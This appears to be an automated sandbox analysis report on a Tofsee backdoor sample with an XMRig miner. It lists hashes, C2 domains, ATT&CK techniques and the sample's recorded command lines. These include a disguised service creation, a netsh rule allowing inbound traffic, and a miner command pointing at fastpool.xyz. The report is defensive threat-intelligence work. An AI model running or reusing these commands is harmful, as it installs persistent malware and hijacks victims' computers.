Analysis

  • max time kernel
    148s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 19:55

General

  • Target

    e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0.exe

  • Size

    146KB

  • MD5

    feadb66c00d4dfd08a3106954258adf8

  • SHA1

    4bb9fb168726f091a50c1f127f4e47ece6d8941d

  • SHA256

    e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0

  • SHA512

    49917dfbc2400c4ce4a3f53d0e415e368cfe641c35f76633da9ce0dd1859689a91a0f8b5d9c5eb0cfd71088ffb142614156a08970a168184006064ee232c086e

  • SSDEEP

    3072:x+DUo9mzwbRmpqexy5wJ9YqR5bXnWsa8KS1necw7b:Vo8zwspqeZBXnWsa8KS1eT

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0.exe
    "C:\Users\Admin\AppData\Local\Temp\e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vajecpkl\
      2⤵
        PID:4964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\biimnxhs.exe" C:\Windows\SysWOW64\vajecpkl\
        2⤵
          PID:504
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vajecpkl binPath= "C:\Windows\SysWOW64\vajecpkl\biimnxhs.exe /d\"C:\Users\Admin\AppData\Local\Temp\e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vajecpkl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vajecpkl
          2⤵
          • Launches sc.exe
          PID:2200
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 912
          2⤵
          • Program crash
          PID:3464
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4868 -ip 4868
        1⤵
          PID:616
        • C:\Windows\SysWOW64\vajecpkl\biimnxhs.exe
          C:\Windows\SysWOW64\vajecpkl\biimnxhs.exe /d"C:\Users\Admin\AppData\Local\Temp\e715cb5375a82daa8b4ff8a5234a965dc2499e4fb3398830bde6d75a637023a0.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3908
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:744
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3688
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3908 -s 536
            2⤵
            • Program crash
            PID:4208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3908 -ip 3908
          1⤵
            PID:3144

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\biimnxhs.exe
            Filesize

            14.0MB

            MD5

            95745407cb059c37fd83a7d35e9ba5bd

            SHA1

            8eb117b597653fc038c7e7d29e86c1a247da47f0

            SHA256

            2e46b5297ab0f2638c52082862701dbe0a2865fb06988906f9d8c6545ce0ba86

            SHA512

            3ce2253c4f301cd2cf569b1448086339413cc20965bbdb4430572bbf492b62cbef478631d1303e6edc7e4afbe367c5447ee63f6b85ed61b917a6c7a6adfda6ef

          • C:\Windows\SysWOW64\vajecpkl\biimnxhs.exe
            Filesize

            14.0MB

            MD5

            95745407cb059c37fd83a7d35e9ba5bd

            SHA1

            8eb117b597653fc038c7e7d29e86c1a247da47f0

            SHA256

            2e46b5297ab0f2638c52082862701dbe0a2865fb06988906f9d8c6545ce0ba86

            SHA512

            3ce2253c4f301cd2cf569b1448086339413cc20965bbdb4430572bbf492b62cbef478631d1303e6edc7e4afbe367c5447ee63f6b85ed61b917a6c7a6adfda6ef

          • memory/260-142-0x0000000000000000-mapping.dmp
          • memory/504-136-0x0000000000000000-mapping.dmp
          • memory/744-160-0x00000000021F0000-0x0000000002200000-memory.dmp
            Filesize

            64KB

          • memory/744-157-0x00000000021E0000-0x00000000021E6000-memory.dmp
            Filesize

            24KB

          • memory/744-169-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/744-166-0x0000000007D00000-0x000000000810B000-memory.dmp
            Filesize

            4.0MB

          • memory/744-163-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/744-154-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/744-153-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
            Filesize

            84KB

          • memory/744-152-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
            Filesize

            84KB

          • memory/744-148-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
            Filesize

            84KB

          • memory/744-147-0x0000000000000000-mapping.dmp
          • memory/2200-140-0x0000000000000000-mapping.dmp
          • memory/3168-139-0x0000000000000000-mapping.dmp
          • memory/3688-178-0x0000000000CF0000-0x0000000000DE1000-memory.dmp
            Filesize

            964KB

          • memory/3688-172-0x0000000000000000-mapping.dmp
          • memory/3688-173-0x0000000000CF0000-0x0000000000DE1000-memory.dmp
            Filesize

            964KB

          • memory/3908-151-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4836-138-0x0000000000000000-mapping.dmp
          • memory/4868-133-0x00000000004E0000-0x00000000004F3000-memory.dmp
            Filesize

            76KB

          • memory/4868-132-0x00000000005AD000-0x00000000005BE000-memory.dmp
            Filesize

            68KB

          • memory/4868-141-0x00000000005AD000-0x00000000005BE000-memory.dmp
            Filesize

            68KB

          • memory/4868-134-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4868-145-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4868-144-0x00000000005AD000-0x00000000005BE000-memory.dmp
            Filesize

            68KB

          • memory/4964-135-0x0000000000000000-mapping.dmp